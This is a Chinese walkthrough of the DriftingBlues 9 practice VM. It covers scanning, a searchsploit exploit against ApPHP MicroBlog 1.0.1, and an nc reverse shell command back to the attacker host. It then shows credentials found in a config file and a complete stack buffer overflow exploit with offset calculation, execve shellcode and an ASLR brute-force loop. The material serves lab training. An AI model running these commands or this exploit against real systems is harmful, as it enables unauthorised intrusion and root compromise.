driftingblues 9 靶机wp

主机探活

nmap -sP 192.168.159.0/24 

目标主机IP为:192.168.159.170


端口发现

nmap -sV -p- -A 192.168.159.170

在这里插入图片描述

开启了:80、111、42909端口


80端口

目录扫描
dirsearch -u 192.168.159.170 

在这里插入图片描述

我在访问这些页面后没有找到什么特别有用的信息。。。

但是知道了它使用了CMS,并在页面中找到了它的版本

在这里插入图片描述

在这里插入图片描述

ApPHP MicroBlog 1.0.1


CMS

本地漏洞库查找

searchsploit ApPHP MicroBlog 1.0.1

在这里插入图片描述

执行该脚本

在这里插入图片描述


成功获取权限

在这里插入图片描述


提权

在这里插入图片描述

这个shell有点问题,我们尝试重新推一个回来

nc 192.168.159.131 7777 -e /bin/bash
python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

setuid
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

啥都没。。。

计划任务和sudo都没有可以利用的。。。


信息收集

/var/www/html/include/base.inc.php文件中发现了一组用户名密码,同时在/home目录下也恰好有该用户

在这里插入图片描述

在这里插入图片描述

用户名:clapton 密码:yaraklitepe


切换用户

在这里插入图片描述

成功切换用户


重新进行上述的一系列提权操作,在setuid里发现一个可疑程序

在这里插入图片描述


进入/home/clapton文件夹,运行该文件,发现应该是一个输入字符串的程序

在这里插入图片描述

并且找到了相关提示信息,应该使用buffer overflow攻击

在这里插入图片描述


buffer overflow

我们运行这个程序,发现它的功能大概是输入一个字符串,而它又提示我们是栈溢出,因此猜测当输入的字符串较大时,会产生溢出。

在这里插入图片描述

确实产生了溢出


确定允许输入的最大字符串长度

利用kali下工具生成有序字符串

msf-pattern_create -l 3000

在这里插入图片描述

gdb调试

gdb input

在这里插入图片描述

run 生成的字符串

在这里插入图片描述


得到溢出的地址

在这里插入图片描述

0x41376641


利用工具得到溢出的字符是第几个

msf-pattern_offset -q 0x41376641

在这里插入图片描述

确切的匹配是第171位,因此第172位开始溢出


栈溢出

也就是说,从第172位开始,就不是字符串的位置了,其后四位是 eip 的值(下一条指令运行地址)

info registers	# 查看寄存器内容

在这里插入图片描述

在这里插入图片描述

通过我们输入验证,发现第172位开始后四位确实是 eip 的值


我们再加四位,然后查看 esp 的值

run $(python -c 'print("A"*171 + "\xea\xea\xea\xea" + "\x11\x11\x11\x11")')
x/50wx $esp		# 以16进制形式查看esp的值

在这里插入图片描述

获得$esp的一个可能开始地址(每次都不一样,会变),我采用笨办法,多试几次,总有一次会碰上这个地址

0xbfde24c0


从结果可以看出,esp中的值是我们输入的内容,所以最后的payload应该为:

"A"*171 + "\xc0\x24\xde\xbf" + shellcode

在这里插入图片描述


shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00 (euid)

\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80 (uid)


# 加一些 nop 来提高成功率
python -c 'print("A"*171 + "\xc0\x24\xde\xbf" + "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00")'

写一个shell脚本来多次运行,碰运气搞 esp 的地址

for i in {1..10000}; do (./input $(python -c 'print("A"*171 + "\xc0\x24\xde\xbf" + "\x90" * 1000 + "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80")')); done

在这里插入图片描述


成功获取root权限

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值